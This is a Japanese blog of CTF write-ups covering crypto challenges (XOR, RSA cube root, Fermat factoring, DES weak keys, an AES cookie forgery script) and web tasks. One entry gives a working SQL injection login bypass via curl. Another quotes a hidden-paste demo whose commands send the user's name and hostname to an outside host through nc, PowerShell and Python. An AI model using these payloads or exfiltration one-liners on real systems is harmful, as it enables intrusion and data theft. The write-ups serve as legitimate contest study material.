EvlzCTF Writeup

この大会は2018/2/10 0:30(JST)~2018/2/11 0:30(JST)に開催されました。
今回もチームで参戦。結果は1475点で241チーム中6位でした。
自分で解けた問題をWriteupとして書いておきます。

Sorry for this (Miscellaneous 75)

問題は動画になっている。ffmpegで静止画に分解してみる。

>ffmpeg -i tipsy.mp4 -f image2 -vf fps=fps=1 div\tipsy_%05d.jpg

フラグが埋め込まれている画像が抽出できた。
f:id:satou-y:20180212221518j:plain

evlz{my-very_trip_was_dad_with_first}ctf

Typical (Crypto 75)

$ nc 35.200.197.38 8003
Your Ciphertext is:2b111136050a201a033f2c24 Your key is:4a525455
Enter plaintext in hex:

XORで復号すればよさそう。

import socket
import re

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('35.205.196.143', 8003))

round = 1
while True:
    print 'Round %d' % round
    data = s.recv(256)
    print data
    if 'Thanks for playing' in data:
        break

    pattern = 'Your Ciphertext is:(.+) Your key is:(.+)'
    m = re.match(pattern, data)
    cipher = m.group(1)
    key = m.group(2)
    plain = ''
    for i in range(0, len(cipher), 2):
        code = int(cipher[i:i+2], 16) ^ int(key[i%len(key):i%len(key)+2], 16)
        plain += '%x' % code
    print plain
    print plain.decode('hex')
    s.sendall(plain + '\n')
    round += 1

最後までいってもフラグが表示されないので、送信する平文をhexデコードして表示してみる。途中でフラグが表示されていた。

       :
Round 5
Your Ciphertext is:2e0e0e1f2c343413271f2f27110a3a212f1a21082e2710043920371f39193f1e Your key is:4b78626557445872447a
Enter plaintext in hex:
65766c7a7b706c616365645f736f6d6577686572655f72616e646f6d7d637466
evlz{placed_somewhere_random}ctf
       :
evlz{placed_somewhere_random}ctf

Primeates (Crypto 200)

$ nc 35.200.197.38 8005
N is: 1414105071933482316700542439837927693320680478605460052939094829508938028079161646629323226988356049045316777515223180430106838398770488537890345507827495508103790674199471015282663027025736696273099161565154972925237786001169295774985507681276675232117968877551566249431664097185905356884899854698377908208111958407402412421368604606422248087172330445861763290357089580920253721692338495985837659109342710795237403676248263107315674673015668263081380091946949603
e is: 3
Cipher text is: 378298893916598086874607404131390876390122525545713488720877944575185623279732971227842503543642027704686114550783317830373635343922547497016866577366754346946921713513140776458160982993092663936827


1.Encryption
2.Decryption
3.Enter Password
>>>

何回実行しても、Nは変わるが、Cipher textは変わらない。Cipher textの3乗根をPasswordに指定する。3乗根の計算は以下のコードで算出する。

import gmpy

e = 3
c = 378298893916598086874607404131390876390122525545713488720877944575185623279732971227842503543642027704686114550783317830373635343922547497016866577366754346946921713513140776458160982993092663936827

m = gmpy.root(c, e)[0]
print m
$ nc 35.200.197.38 8005
N is: 1556966064738208400509493889892686349363489102225804549807540113183147949410123615020634270850732169222047692200989559328466901758582142413451080329406518012869438788032010715643691401333758281416262070700828076273991929765138786003451444813134304298899337023715344919957484024244711896668243088204509206541173746225660925052442509687915349585308402279785205845661319001248671557084729608451727086671989197567391148915766568036635887854580846722040783466634494953
e is: 3
Cipher text is: 378298893916598086874607404131390876390122525545713488720877944575185623279732971227842503543642027704686114550783317830373635343922547497016866577366754346946921713513140776458160982993092663936827


1.Encryption
2.Decryption
3.Enter Password
>>>3
Enter the password 723233204932732303232804824329562012733423232323723208322321218403
evlz{my_very_oracle_attack}ctf

Cipher textの3乗根を指定すると、フラグが表示された。

evlz{my_very_oracle_attack}ctf

SharifCTF 8 Writeup

この大会は2018/2/2 15:30(JST)~2018/2/4 3:30(JST)に開催されました。
今回もチームで参戦。結果は900点で682チーム中49位でした。
自分で解けた問題をWriteupとして書いておきます。

Hidden input (Web 50)

ソースに以下のhidden属性がある。

<input type="hidden" name="debug" id="debug" value="0">

debugの値を1にしてアクセスする。

$ curl -X POST -d "Username=a" -d "Password=b" -d "debug=1" http://ctf.sharif.edu:8081/login.php
<pre>username: a
password: b
SQL query: SELECT * FROM users WHERE username=('a') AND password=('b')
</pre><h1>Login failed.</h1>

括弧をつけてSQLインジェクションを行う。

$ curl -X POST -d "Username=a') or 1=1 #" -d "Password=b" -d "debug=1" http://ctf.sharif.edu:8081/login.php
<pre>username: a') or 1=1 #
password: b
SQL query: SELECT * FROM users WHERE username=('a') or 1=1 #') AND password=('b')
</pre><h1>Logged in!</h1><p>Your flag is: SharifCTF{c58a108967c46222bbdc743e15932c26}</p>
SharifCTF{c58a108967c46222bbdc743e15932c26}

DES (Crypto 50)

平文とあるキーによるDES暗号の暗号化のペアがたくさんある。キーを探り当てる必要があるが、DESのキーで脆弱性のあるものの情報を探す。
https://en.wikipedia.org/wiki/Weak_key#Weak_keys_in_DES を参考に暗号化を試す。
e0e0e0e0f1f1f1f1 で平文と暗号の組み合わせが合う。

SharifCTF{e0e0e0e0f1f1f1f1}

OSS Signature - Easy (Crypto 100)

ほぼ数学の問題。以下を満たすものがある。

m1 = x1**2 + k * y1**2
m2 = x2**2 + k * y2**2

これで以下ようになるx3とy3を求める。

m1*m2 = x3**2 + k * y3**2

m1*m2を変形しながらこの形式になるよう計算する。

m1*m2 = (x1*x2)**2 + k*(x1*y2)**2 + k*(x2*y1)**2 + k*k*(y1*y2)**2
      = (k*y1*y2 - x1*x2)**2 + k * (2*x1*x2*y1*y2 + (x1*y2)**2 + (x2*y1)**2)
      = (k*y1*y2 - x1*x2)**2 + k * (x1*y2 + x2*y1)**2

この結果、以下の通りとなる。

x3 = k*y1*y2 - x1*x2
y3 = x1*y2 + x2*y1

実際に計算する。

n = 25002746673023214443255611415004163622813167852050923858455529030203886977840435991633024079845736335150468784530123301961464111492802951263984843039164056430832125163123383805713707250515254073169424707009359341759806003392594138294458167902830484152672696274313541002376076183872266230285338817553110422277895445022423407252341583782719664554600485831653496762352727294140410862007839241034826246409937408317586016100320118339304493568308875379717324497727750190898854014202895798781129867240530387323567711557244359201718574163779140769622702892937997637399632813759046725913242153879394145202439145824342609530733
k = 23362339402422379817772327315061502761593494363846640180372992347552364432329220756030231112957778618810078666762974577247225709089334422591782884749584385632941885055318288495081651413041625183693553233252837243762098828064089396976796784829512691690456121528386778151445275489241471824325584238311939845541912403985291213425145453729490975518843542282785674261698826757381575038415836220944506894913500128933084291790059465445840440895339431303999096861113452752000364738364437105439080665770770436241486563132717407593776498512206813885900089036806429313524876146779148195897063040217695170237733473446418668779916

m1 = 53
x1 = 4996965626677818470899497036192572928953383468049981492215052947486968576469160069531045847406602867300998349717580001316746485225762698993261684213353602996748343182092335509307573088247624968954427896794412611830427704686799860673116498727830792282242951843221232059541413610254765610041160440513577441311377402794483664718403091720812660740195547201741143700725549004496527350569773313437105547331241515716525604301492268657755586190938586265947367522921813698603847151625881131098032431190975920711377012137155839366204869205993663573232084527465728306732531071378794321276304228712618173043121942149396615492478
y1 = 9339264669983291900327820828270098016379861097267077744514708712834641173057650202534710250765922313741944462789942785478170212231431727070626211785081581216011869498431598197306917945956602966039228580868647572114697339953682091890878192717124657001319847969571764996539075871196135114129827099959218903704028739118783540539731484487013859564619154565781303034838767726419327010072827695144834838584650689215227715966068273968350448794571951839296494120274908108873597642627135960002648616376004036368059928510282972523844522428329769439534207771320850592847756802766651250916352633401119949553102145237888877557923

m2 = 97
x2 = 11753106345254288737361588513147237177750400928549963607707054166942720184532870164663313254526876864287114091403255773460126703446364096215167350117522512230363460796882926739640334786094541017927436061884032962475855870728763342865282312282570446248990619133180907228013976489639609306879272823217110322646001510606842229170558446836122206078351382968253970864143597110461965175850834817665875538033799957519184628621445302484228100263431427032089411665137733848416897797243448068873485701775788341820346935946117424174847849626391662223056950725043721907635990009814375453736359471825015817067334839806235435545448
y2 = 123161662006626173257658155440995758077644133106347955053437070384032327643606006182254293736352951669348486229126066051376766187014326742185279158572916190461546072737951070108429999738567695487322683707128747508390535278084645507888594491053352777437956961443390580531224529649715922983302553733302183680229442684930688384434263064437787360809879785644243721569717854769078822729636598856450665397631653853730111259561536552440955558062554764155674810156999963831490288009516842695456063350428308329590519170386751067328029955975084626546467505376469180883230078097302660456279461037373526104913049876100168770958

x3 = (k*y1*y2 - x1*x2) % n
y3 = (x1*y2 + x2*y1) % n

print 'x3 =', x3
print 'y3 =', y3

この結果、以下の通りとなる。

x3 = 5830142767269869677288408048540188008823990407143812016855824705950670094076130295628679427308366877724203450528505429923779301824931078622823699278049797459103976077656253481286887552821019276867178788422219539329583159422137716528100570338486898980373587303085748319844052353230249042625942785900387756894239067102757343433502492365252997459285349339246805166733967650832504849834260251786076960206921262991354352029664760492726369394863653668118951032791286046453289341474808509851463955082181197318288140607769674177976268058836547858657166510273792385879245129488393769010333021676981334496155977249194077033884
y3 = 5395898905123648503834111671297796783290397561274630899481015182458778781607901118589561849162438641620093844778942756497555892488487851581944403489428310876143669684360917304957290153707395347323720107220789281916218015743755093672007247609226854626394280860266858900528262798090243514810319854184687628597363829703844467425743837279434415596195930994186542872505553058421449234140281457012201166739191548987512108956661156070494288517214599188894883583204460642246821038631481163915837077751361281096675786973519454859604240317794260193361416581583032004137958137882176217763274442687529500870912682381607026694645

このx3, y3を入力すると、フラグが表示された。

SharifCTF{aea9d91c12817a8f5a19b37ee9e1b1d6}

fHash (Crypto 200)

M1の場合、以下のようにして計算される。

hl = md5('7575'+'7368').hexdigest()[:4]
hr = md5('A8A8'+'7368').hexdigest()[:4]
hl = md5(hl+'6172').hexdigest()[:4]
hr = md5(hr+'6172').hexdigest()[:4]
hl = md5(hl+'6966').hexdigest()[:4]
hr = md5(hr+'6966').hexdigest()[:4]
hl = md5(hl+'6374').hexdigest()[:4]
hr = md5(hr+'6374').hexdigest()[:4]
hl = '260c'
hr = '01da'

hlとhrは独立している。1回目のhl, hrの値がM1の場合と同じであれば、結果は同じになる。hl、hr、M2の最初の2バイトのブルートフォースで条件を満たすものの代表値を探す。

from hashlib import md5

M1 = '7368617269666374'
hl_ans = 'dcd0'
hr_ans = 'a6ea'

def foo(h, m):
    return md5(h.encode('utf-8') + m.encode('utf-8')).hexdigest()[:4]

def get_hr(M2_head, ans):
    for i in range(256):
        for j in range(256):
            hr0 = ('%02x' % i) + ('%02x' % j)
            hr = foo(hr0, M2_head)
            if hr == hr_ans:
                return hr0

    return ''

found = False
for i in range(256):
    for j in range(256):
        hl0 = ('%02x' % i) + ('%02x' % j)
        for k in range(256):
            for l in range(256):
                M2_head = ('%02x' % k) + ('%02x' % l)
                hl = foo(hl0, M2_head)
                if hl == hl_ans:
                    hr0 = get_hr(M2_head, hr_ans)
                    if hr0 != '':
                        found = True
                        print hl0
                        print hr0
                        print M2_head + M1[4:]
                        break
            if found:
                break
        if found:
            break
    if found:
        break

実行結果は以下の通り。

0002
0534
8179617269666374

上から順にhl, hr, M2。この値を入力すると、フラグが表示された。

SharifCTF{561a6a6e11ad3a61d83c29a49146d62b}

AceBear Security Contest Writeup

この大会は2018/1/27 11:00(JST)~2018/1/28 23:00(JST)に開催されました。
今回もチームで参戦。結果は3987点で139チーム中10位でした。
自分で解けた問題をWriteupとして書いておきます。

CNVService (Crypt/ACM)

$ nc cnvservice.acebear.site 1337
***************************CNVService*****************************
* Challenge created by CNV                                       *
* My blog: https://chung96vn.blogspot.com                        *
***************************CNVService*****************************
********************Menu********************
* 1 - Register                             *
* 2 - Login                                *
********************************************
Your choice: 1
*****************************REGISTER*****************************
Name: 1
Username: 2
Cookie: PWg77PMNr9+uFv7AJVlwzob7DLRKNm7bpk7wY6l+JBBxnlH1lDq2HJXf53CIAgzXz70wj6nMNmgICMiq6l7CELxf80XHSkf5UsRnDr+CHOM=
***************************END REGISTER***************************
********************Menu********************
* 1 - Register                             *
* 2 - Login                                *
********************************************
Your choice:

ソースコードを見ると、以下のような処理になっている。

■1を選択
Nameを入力
Usernameを入力(rootはNG)
すると、暗号化結果を表示

◇Cookie.register(Name, Username)
name: Nameをpadding
iv: nameと特定文字列とのxor
cookie: CNVService*user=[username]*[ctime()]*[__SECRET__]
iv+cookieのAES暗号したものをBase64エンコードして返す。

◇AES暗号
cookieをpadding
ECB暗号モード利用
1ブロック目:ivとのxor --AES暗号-->
2ブロック目:1ブロック目暗号化文字列のmd5とのxor --AES暗号-->

■2を選択
クッキーを入力

◇Cookie.authentication(cookie)
cookieをBase64デコードする。
name: cookie前半16バイトと特定文字列とのxor
name: unpaddingする

AES復号する。
*区切りでチェック
1つ目:CNVService
最後:__SECRET__
2つ目の最初の5文字:user=
2つ目:=区切りで2つ

username=rootの暗号化文字列を割り出す必要があるが、当然rootで登録はできない。以下のようなことを念頭に暗号化文字列を作成することを考える。

"CNVService*user=" ^ iv                             --AES ECB--> 暗号1ブロック目
"root*Sat Jan 27 " ^ md5(暗号1ブロック目).digest()  --AES ECB--> 暗号2ブロック目
"13:43:37 2018*SS" ^ md5(暗号2ブロック目).digest()  --AES ECB--> 暗号3ブロック目
"SSSSSS??????????" ^ md5(暗号3ブロック目).digest()  --AES ECB--> 暗号4ブロック目

いろいろ試したが、__HEDDEN__, __SECRET__の値を知らずに解くことはできそうにない。
まず md5(__HIDDEN__).digest()を求めてみる。

import socket
from hashlib import md5
from base64 import b64decode
from base64 import b64encode

def xor(dest, src):
    if len(dest) == 0:
        return src
    elif len(src) == 0:
        return dest
    elif len(dest) >= len(src):
        return ''.join(chr(ord(dest[i])^ord(src[i])) for i in range(len(src)))
    else:
        return ''.join(chr(ord(dest[i])^ord(src[i])) for i in range(len(dest)))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cnvservice.acebear.site', 1337))

data = s.recv(1024)
data += s.recv(1024)
data += '1'
print data

s.sendall('1\n')
data = s.recv(1024)
data += s.recv(1024)
print data

name = 'xxxxxxxxxxxxxxxx'
print name
s.sendall(name + '\n')
data = s.recv(1024)
print data
username = 'aaaa'
print username
s.sendall(username + '\n')

data = s.recv(1024)
data += s.recv(1024)
print data

cookie = data[8:].strip()

cookie = b64decode(cookie)
iv = cookie[:16]
cipher_text = cookie[16:]

HIDDEN = xor(iv, name)
print HIDDEN.encode('hex')

この結果、md5(__HIDDEN__).digest()の16進表記は以下の通りであることがわかる。

0c6734e3fc02a0d0a119f1cf2a567fc1

次に__SECRET__を求めてみる。最初は以下のコードで__SECRET__の長さを確認する。

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cnvservice.acebear.site', 1337))

data = s.recv(1024)
data += s.recv(1024)
data += '1'
print data

s.sendall('1\n')
data = s.recv(1024)
data += s.recv(1024)
name = 'test'
print data + name
s.sendall(name + '\n')
data = s.recv(1024)
username = 'aaaaaaa' #<- change this string length
print data + username
s.sendall(username + '\n')
data = s.recv(1024)
print data

cookie = data[8:].strip()

print len(cookie.decode('base64'))
・aのとき、80
・aaaaaaaのとき、80
・aaaaaaaaのとき、96

CNVService*user=
aaaaaaaa*Sat Jan
 27 13:43:37 201
8*SSSSSSSSSSSSSS
\x16........\x16

この結果__SECRET__の長さは14。
次に__SECRET__の後ろから1文字ずつはみ出させ、usernameに同じデータを作るように指定し、BFで該当ブロックの暗号データが同じになるものを探す。最初の1文字は以下のようなイメージ。

CNVService*user=
aaaaaaaaa*Sat Ja
n 27 13:43:37 20
18*SSSSSSSSSSSSS
S\x15.......\x15
import socket
from hashlib import md5
from base64 import b64decode
from base64 import b64encode

HIDDEN = '0c6734e3fc02a0d0a119f1cf2a567fc1'.decode('hex')
P_HEAD = 'CNVService*user='
NAME = 'xxxxxxxxxxxxxxxx'
BLOCK_SIZE = 16

pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)

def xor(dest, src):
    if len(dest) == 0:
        return src
    elif len(src) == 0:
        return dest
    elif len(dest) >= len(src):
        return ''.join(chr(ord(dest[i])^ord(src[i])) for i in range(len(src)))
    else:
        return ''.join(chr(ord(dest[i])^ord(src[i])) for i in range(len(dest)))

def right_enc(s, nth, plain, initFlg):
    data = s.recv(1024)
    if initFlg:
        data += s.recv(1024)
    data += '1'
    print data
    s.sendall('1\n')

    data = s.recv(1024)
    data += s.recv(1024)
    print data + NAME
    s.sendall(NAME + '\n')

    data = s.recv(1024)
    username = 'a' * (8 + nth)
    print data + username
    s.sendall(username + '\n')

    data = s.recv(1024)
    print data
    cookie = data[8:].strip()

    cookie = b64decode(cookie)
    iv = cookie[:16]
    cipher_text = cookie[16:]

    enc_block4 = cipher_text[48:64]
    enc_block5 = cipher_text[64:]
    return xor(plain, md5(enc_block4).digest()), enc_block5

def getname(xor_val):
    return xor(xor_val, xor(P_HEAD, HIDDEN))

def enc(s, name):
    data = s.recv(1024)
    data += '1'
    print data
    s.sendall('1\n')

    data = s.recv(1024)
    data += s.recv(1024)
    print data + name
    s.sendall(name + '\n')

    data = s.recv(1024)
    username = 'a'
    print data + username
    s.sendall(username + '\n')

    data = s.recv(1024)
    print data
    cookie = data[8:].strip()

    cookie = b64decode(cookie)
    iv = cookie[:16]
    cipher_text = cookie[16:]

    enc_block1 = cipher_text[:16]
    return enc_block1

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cnvservice.acebear.site', 1337))

secret = ''
initFlg = True
for i in range(1, 15):
    for code in range(32, 127):
        print '[-] code =', code
        try_secret = pad(chr(code) + secret)
        p, c = right_enc(s, i, try_secret, initFlg)
        initFlg = False

        if enc(s, getname(p)) == c:
            secret = chr(code) + secret
            break
        print '[-] secret =', secret

print '[+] secret =', secret

この結果、__SECRET__の値は以下の通りであることがわかる。

__SECRET__ = 'Thi5_i5_s3cr3t'

あとは適当なNameで1ブロック目から順に求めていく。

import socket
from hashlib import md5
from base64 import b64decode
from base64 import b64encode

BLOCK_SIZE = 16

pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \
                chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)

def xor(dest, src):
    if len(dest) == 0:
        return src
    elif len(src) == 0:
        return dest
    elif len(dest) >= len(src):
        return ''.join(chr(ord(dest[i])^ord(src[i])) for i in range(len(src)))
    else:
        return ''.join(chr(ord(dest[i])^ord(src[i])) for i in range(len(dest)))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('cnvservice.acebear.site', 1337))

data = s.recv(1024)
data += s.recv(1024)
data += '1'
print data

s.sendall('1\n')
data = s.recv(1024)
data += s.recv(1024)

name = 'xxxxxxxxxxxxxxxx'
print data + name
s.sendall(name + '\n')

data = s.recv(1024)
username = 'aaaa'
print data + username
s.sendall(username + '\n')

data = s.recv(1024)
print data
cookie = b64decode(data[8:].strip())
iv = cookie[:16]
cipher_text = cookie[16:]

HIDDEN = xor(iv, name)

p = [
    'CNVService*user=',
    'root*Sat Jan 27 ',
    '13:43:37 2018*Th',
    pad('i5_i5_s3cr3t')]

# ciphertext 1st block
c = [cipher_text[:16]]

# ciphertext 2nd, 3rd, 4th block
for i in range(3):
    data = s.recv(1024)
    print data + '1'

    s.sendall('1\n')
    data = s.recv(1024)
    data += s.recv(1024)

    name2 = xor(xor(p[i+1], md5(c[i]).digest()), xor(p[0], HIDDEN))
    print data + name2
    s.sendall(name2 + '\n')
    data = s.recv(1024)
    username = 'a'
    print data + username
    s.sendall(username + '\n')

    data = s.recv(1024)
    print data

    cookie = b64decode(data[8:].strip())
    cipher_text = cookie[16:]

    c.append(cipher_text[:16])

# make cookie
data = s.recv(1024)
print data + '2'

cookie = iv
for i in range(4):
    cookie += c[i]

b64_cookie = b64encode(cookie)

s.sendall('2\n')
data = s.recv(1024)
data += s.recv(1024)
print data + b64_cookie

s.sendall(b64_cookie + '\n')
data = s.recv(1024)
print data
data = s.recv(1024)
print data

実行結果は以下の通り。

           :
********************Menu********************
* 1 - Register                             *
* 2 - Login                                *
********************************************
Your choice: 2
*******************************LOGIN******************************
Cookie: dB9Mm4R62KjZYYm3Ui4HuX2M/X3aDOaMYiURc62G0iNH1X1MYq3cT/KLGBii3waxANcmeINSqA86qHKfYpL2fagUrLmrhK2qCQmiDLHHxxc=
**************************LOGIN SUCCESS***************************

Welcome CNV service: xxxxxxxxxxxxxxxx
Username: root
Time register: Sat Jan 27 13:43:37 2018
***************************Root Servive***************************
This is flag: AceBear{AES_CNV_is_s3cure_but_CNV_S3rvic3_i5_not_s3cure}
AceBear{AES_CNV_is_s3cure_but_CNV_S3rvic3_i5_not_s3cure}

Break In CTF 2018 Writeup

この大会は2018/1/22 0:30(JST)~2018/1/23 0:30(JST)に開催されました。
今回もチームで参戦。結果は1300点で97チーム中9位でした。
自分で解けた問題をWriteupとして書いておきます。

Tayank and RSA (200)

公開鍵と暗号ファイルが与えられている。Fermat法でnを素因数分解し、復号する。

71877470807883123484848484849751061131101041101211007812075122115125

復号した数字は直接文字にならない。10進数で文字になるよう前から順にASCII文字に置き換えてみる。

GWJFPNS{000001KjqnhnydNxKzs}

5シフトさせると、フラグになりそう。最終的なコードは以下の通り。

from Crypto.PublicKey import RSA
import string

def isqrt(n):
    x = n
    y = (x + n // x) // 2
    while y < x:
        x = y
        y = (x + n // x) // 2
    return x

def fermat(n):
    x = isqrt(n) + 1
    y = isqrt(x * x - n)
    while True:
        w = x * x - n - y * y
        if w == 0:
            break
        elif w > 0:
            y += 1
        else:
            x += 1
    return x - y, x + y

with open('Xa5kNbw_Twins.pub', 'r') as f:
    pub_data = f.read()

with open('4vfouvg_message.txt', 'r') as f:
    c = int(f.read().strip(), 10)

pubkey = RSA.importKey(pub_data)
n = pubkey.n
e = pubkey.e
p, q = fermat(n)

a = (p - 1) * (q - 1)

x = 0
while True:
    if (a * x + 1) % e == 0:
        d = (a * x + 1) / e
        break
    x = x + 1

m = pow(c, d, n)
m = str(m)
#print m

dec = ''
code = ''
for i in range(len(m)):
    code += m[i]
    if int(code) > 31 and int(code) < 127:
        dec += chr(int(code))
        code = ''
#print dec

flag = ''
for i in range(len(dec)):
    if dec[i] in string.uppercase:
        code = ord(dec[i]) - 5
        if code < ord('A'):
            code += 26
    elif dec[i] in string.lowercase:
        code = ord(dec[i]) - 5
        if code < ord('a'):
            code += 26
    else:
        code = ord(dec[i])
    flag += chr(code)

print flag
BREAKIN{000001FelicityIsFun}

Insomni'hack teaser 2018 Writeup

この大会は2018/1/20 19:00(JST)~2018/1/22 11:00(JST)に開催されました。
今回もチームで参戦。結果は545点で433チーム中17位でした。
自分で解けた問題をWriteupとして書いておきます。

welcome (warmup)

問題文をそのままコピペすると、違う文になっている。

echo "$(whoami)@$(hostname)"|nc welcome.teaser.insomnihack.ch 42351
say you have been pwned
powershell -noprofile -command "$c=New-Object -TypeName System.Net.Sockets.TcpClient;$c.Connect('welcome.teaser.insomnihack.ch', 42351);$w=New-Object System.IO.StreamWriter($c.GetStream());$w.WriteLine(\"$(whoami)\")|Out-Null;$w.Close();$c.Close();"
exec("""from socket import *\nimport platform, getpass\ns=socket(AF_INET, SOCK_STREAM)\ns.connect(("welcome.teaser.insomnihack.ch",42351))\ns.sendall("{0}@{1}[{2}]".format(getpass.getuser(),platform.node(),platform.system()).encode("utf-8"))\ns.close()""")
clear||cls
nc welcome.teaser.insomnihack.ch 42513

手入力でコマンド入力する。

$ nc welcome.teaser.insomnihack.ch 42315
Welcome to the Insomni'hack Teaser 2018!

INS{YOU SHALL NOT PASTE}
INS{YOU SHALL NOT PASTE}

34C3 CTF 参戦

この大会は2017/12/28 5:00(JST)~2017/12/30 5:00(JST)に開催されました。
今回もチームで参戦。結果は35点で187チーム中178位でした。
今回は自分が得点した問題は1問もありませんでした。
あまりにも難しすぎる!
暗号の一番簡単と思われる問題は該当するオンラインツールを見つけることができたにも関わらず、使い方やフラグに結び付くようなデータを探し出すことができず、フラグを見つけ出せませんでした。Writeupで勉強するしかないですね。